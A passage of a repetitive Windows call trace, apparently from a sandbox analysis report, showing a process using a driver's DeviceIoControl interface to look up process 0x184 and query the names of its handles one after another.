PsReleaseProcessExitSynchronization () returned 0x2 [0121.236] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.236] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.236] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0121.236] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.236] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.236] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.236] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.236] PsAcquireProcessExitSynchronization () returned 0x0 [0121.236] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.237] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0121.237] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.237] PsReleaseProcessExitSynchronization () returned 0x2 [0121.237] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.237] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.237] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0121.237] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.237] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.237] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.237] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.237] PsAcquireProcessExitSynchronization () returned 0x0 [0121.237] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.237] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0121.237] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.237] PsReleaseProcessExitSynchronization () returned 0x2 [0121.237] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.237] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.237] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0121.237] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.237] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.237] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.237] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.237] PsAcquireProcessExitSynchronization () returned 0x0 [0121.237] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.237] ObReferenceObjectByHandle (in: Handle=0x430, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001ffee10, HandleInformation=0x0) returned 0x0 [0121.237] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.237] PsReleaseProcessExitSynchronization () returned 0x2 [0121.237] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.237] ObQueryNameString (in: Object=0xfffff8a001ffee10, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.237] ObfDereferenceObject (Object=0xfffff8a001ffee10) returned 0x1 [0121.237] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.238] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.238] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.238] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.238] PsAcquireProcessExitSynchronization () returned 0x0 [0121.238] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.238] ObReferenceObjectByHandle (in: Handle=0x440, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020161d0, HandleInformation=0x0) returned 0x0 [0121.238] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.238] PsReleaseProcessExitSynchronization () returned 0x2 [0121.238] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.238] ObQueryNameString (in: Object=0xfffff8a0020161d0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.238] ObfDereferenceObject (Object=0xfffff8a0020161d0) returned 0x1 [0121.238] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.238] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.238] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.238] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.238] PsAcquireProcessExitSynchronization () returned 0x0 [0121.238] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.238] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001feb740, HandleInformation=0x0) returned 0x0 [0121.238] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.238] PsReleaseProcessExitSynchronization () returned 0x2 [0121.238] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.238] ObQueryNameString (in: Object=0xfffff8a001feb740, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.238] ObfDereferenceObject (Object=0xfffff8a001feb740) returned 0x1 [0121.238] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.238] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.238] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.238] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.238] PsAcquireProcessExitSynchronization () returned 0x0 [0121.238] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.239] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001b713e0, HandleInformation=0x0) returned 0x0 [0121.239] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.239] PsReleaseProcessExitSynchronization () returned 0x2 [0121.239] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.239] ObQueryNameString (in: Object=0xfffff8a001b713e0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.239] ObfDereferenceObject (Object=0xfffff8a001b713e0) returned 0x1 [0121.239] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.239] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.239] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.239] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.239] PsAcquireProcessExitSynchronization () returned 0x0 [0121.239] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.239] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fab170, HandleInformation=0x0) returned 0x0 [0121.239] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.239] PsReleaseProcessExitSynchronization () returned 0x2 [0121.239] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.239] ObQueryNameString (in: Object=0xfffff8a001fab170, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.239] ObfDereferenceObject (Object=0xfffff8a001fab170) returned 0x1 [0121.239] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.239] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.239] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.239] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.239] PsAcquireProcessExitSynchronization () returned 0x0 [0121.239] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.239] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001cb0690, HandleInformation=0x0) returned 0x0 [0121.239] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.239] PsReleaseProcessExitSynchronization () returned 0x2 [0121.239] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.239] ObQueryNameString (in: Object=0xfffff8a001cb0690, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.239] ObfDereferenceObject (Object=0xfffff8a001cb0690) returned 0x1 [0121.239] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.240] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.240] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.240] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.240] PsAcquireProcessExitSynchronization () returned 0x0 [0121.240] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.240] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f9f600, HandleInformation=0x0) returned 0x0 [0121.240] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.240] PsReleaseProcessExitSynchronization () returned 0x2 [0121.240] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.240] ObQueryNameString (in: Object=0xfffff8a001f9f600, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.240] ObfDereferenceObject (Object=0xfffff8a001f9f600) returned 0x1 [0121.240] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.240] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.240] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.240] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.240] PsAcquireProcessExitSynchronization () returned 0x0 [0121.240] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.240] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002039e50, HandleInformation=0x0) returned 0x0 [0121.240] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.240] PsReleaseProcessExitSynchronization () returned 0x2 [0121.240] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.240] ObQueryNameString (in: Object=0xfffff8a002039e50, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.240] ObfDereferenceObject (Object=0xfffff8a002039e50) returned 0x1 [0121.240] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.240] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.240] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.240] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.240] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.240] PsAcquireProcessExitSynchronization () returned 0x0 [0121.240] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.240] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fa75a0, HandleInformation=0x0) returned 0x0 [0121.241] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.241] PsReleaseProcessExitSynchronization () returned 0x2 [0121.241] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.241] ObQueryNameString (in: Object=0xfffff8a001fa75a0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.241] ObfDereferenceObject (Object=0xfffff8a001fa75a0) returned 0x1 [0121.241] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.241] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.241] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.241] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.241] PsAcquireProcessExitSynchronization () returned 0x0 [0121.241] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.241] ObReferenceObjectByHandle (in: Handle=0x4c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002046630, HandleInformation=0x0) returned 0x0 [0121.241] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.241] PsReleaseProcessExitSynchronization () returned 0x2 [0121.241] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.241] ObQueryNameString (in: Object=0xfffff8a002046630, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.241] ObfDereferenceObject (Object=0xfffff8a002046630) returned 0x1 [0121.241] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.241] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.241] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.241] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.241] PsAcquireProcessExitSynchronization () returned 0x0 [0121.241] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.241] ObReferenceObjectByHandle (in: Handle=0x4d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fe05a0, HandleInformation=0x0) returned 0x0 [0121.241] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.241] PsReleaseProcessExitSynchronization () returned 0x2 [0121.241] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.241] ObQueryNameString (in: Object=0xfffff8a001fe05a0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.241] ObfDereferenceObject (Object=0xfffff8a001fe05a0) returned 0x1 [0121.241] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.242] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.242] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.242] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.242] PsAcquireProcessExitSynchronization () returned 0x0 [0121.242] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.242] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fcc4a0, HandleInformation=0x0) returned 0x0 [0121.242] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.242] PsReleaseProcessExitSynchronization () returned 0x2 [0121.242] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.242] ObQueryNameString (in: Object=0xfffff8a001fcc4a0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.242] ObfDereferenceObject (Object=0xfffff8a001fcc4a0) returned 0x1 [0121.242] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.242] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.242] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.242] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.242] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.242] PsAcquireProcessExitSynchronization () returned 0x0 [0121.242] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.242] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0121.242] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.242] PsReleaseProcessExitSynchronization () returned 0x2 [0121.242] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.242] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.242] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0121.242] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.242] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.242] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.242] DeviceIoControl (in: 